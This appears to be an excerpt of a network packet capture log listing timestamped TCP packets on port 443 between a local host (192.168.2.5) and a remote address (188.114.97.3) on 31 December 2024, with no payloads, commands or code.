Dec 31, 2024 09:25:07.508265018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.508405924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.508874893 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.508893967 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.509005070 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.509010077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.509133101 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.528182983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.528198957 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.528307915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.528316021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.528383017 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.528903008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.528918028 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.529032946 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.529037952 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.529119015 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.552287102 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.552315950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.552347898 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.552355051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.552403927 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.552403927 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.570875883 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.570894003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.570986986 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.570995092 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.571022987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.571094036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.581543922 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.581559896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.581638098 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.581644058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.581773043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.582134962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.582150936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.582262039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.582268953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.582452059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.595029116 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.595046043 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.595154047 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.595160961 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.595242023 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.595772982 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.595788002 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.595909119 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.595915079 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.596008062 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.615036964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.615062952 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.615118027 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.615127087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.615174055 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.615174055 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.615817070 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.615833044 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.615900040 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.615906954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.615957975 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.615957975 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.639111996 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.639161110 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.639188051 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.639193058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.639214039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.639333010 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.657959938 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.657982111 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.658085108 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.658092976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.658173084 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.668626070 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.668642044 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.668770075 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.668778896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.668899059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.669364929 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.669403076 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.669429064 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.669435024 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.669462919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.669462919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.681955099 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.682044029 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.682070971 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.682076931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.682109118 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.682357073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.682672977 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.682691097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.682760000 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.682766914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.682791948 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.682862043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.703013897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.703032017 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.703129053 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.703136921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.703381062 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.703794003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.703820944 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.703887939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.703887939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.703895092 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.703978062 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.725936890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.725956917 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.726062059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.726069927 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.729053974 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.744709015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.744724989 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.748684883 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.748692989 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.749716043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.755851030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.755898952 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.755985022 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.755995035 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.756011963 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.756083012 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.756227970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.756247044 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.756292105 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.756299019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.756351948 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.756351948 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.768799067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.768816948 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.769398928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.769469023 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.769479036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.769479036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.769485950 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.770414114 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.789828062 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.789860964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.789916039 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.789935112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.789961100 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.790508986 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.790528059 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.790616035 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.790616035 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.790626049 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.812980890 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.813060999 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.813086033 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.813132048 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.813160896 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.831515074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.831536055 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.831609011 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.831618071 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.842711926 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.842777014 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.842809916 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.842838049 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.842868090 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.843125105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.843143940 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.843179941 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.843187094 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.843202114 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.855681896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.855714083 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.855767965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.855783939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.855812073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.856311083 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.856332064 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.856401920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.856401920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.856410980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.876759052 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.876775026 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.876864910 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.876864910 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.876874924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.877445936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.877465010 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.877537966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.877537966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.877546072 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.899718046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.899751902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.899804115 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.899812937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.899841070 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.918807030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.918837070 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.918874025 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.918880939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.918941021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.929198980 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.929214954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.929291964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.929291964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.929301023 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.930032015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.930049896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.930121899 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.930121899 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.930129051 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.942473888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.942496061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.942645073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.942653894 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.943341970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.943362951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.943438053 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.943438053 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.943444967 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.963646889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.963661909 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.964242935 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.964251041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.964370012 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.964402914 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.964438915 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.964446068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.964553118 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.986538887 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.986552000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:07.986833096 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:07.986840963 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.005785942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.005803108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.005892992 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.005892992 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.005904913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.016144037 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.016172886 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.016252995 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.016252995 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.016259909 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.016864061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.016881943 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.016952038 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.016952038 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.016957998 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.029517889 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.029531002 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.029853106 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.029860020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.030359983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.030378103 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.030457973 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.030457973 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.030464888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.050424099 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.050440073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.050607920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.050617933 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.051279068 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.051301003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.051357985 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.051367044 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.051392078 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.073442936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.073477030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.073506117 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.073513985 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.073613882 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.092781067 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.092799902 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.092891932 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.092891932 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.092915058 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.103077888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.103104115 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.103148937 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.103162050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.103185892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.103863001 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.103887081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.103960037 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.103960037 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.103969097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.116290092 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.116305113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.116519928 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.116528034 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.136472940 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.136492014 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.136584997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.136584997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.136594057 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.137346029 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.137372017 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.137404919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.137411118 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.137434006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.138042927 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.138062000 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.138124943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.138124943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.138133049 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.160362959 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.160377979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.160510063 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.160510063 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.160527945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.181127071 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.181144953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.181190968 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.181200027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.181305885 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.189944983 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.189959049 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.190037966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.190037966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.190045118 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.190577030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.190632105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.190666914 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.190671921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.190695047 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.203248978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.203262091 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.203356028 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.203356028 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.203363895 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.223448992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.223464966 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.223551989 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.223560095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.224219084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.224247932 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.224317074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.224317074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.224324942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.224812031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.224828005 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.224967957 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:08.224977016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.247117043 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.247129917 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:08.247212887 CET	49707	443	192.168.2.5	188.114.97.3
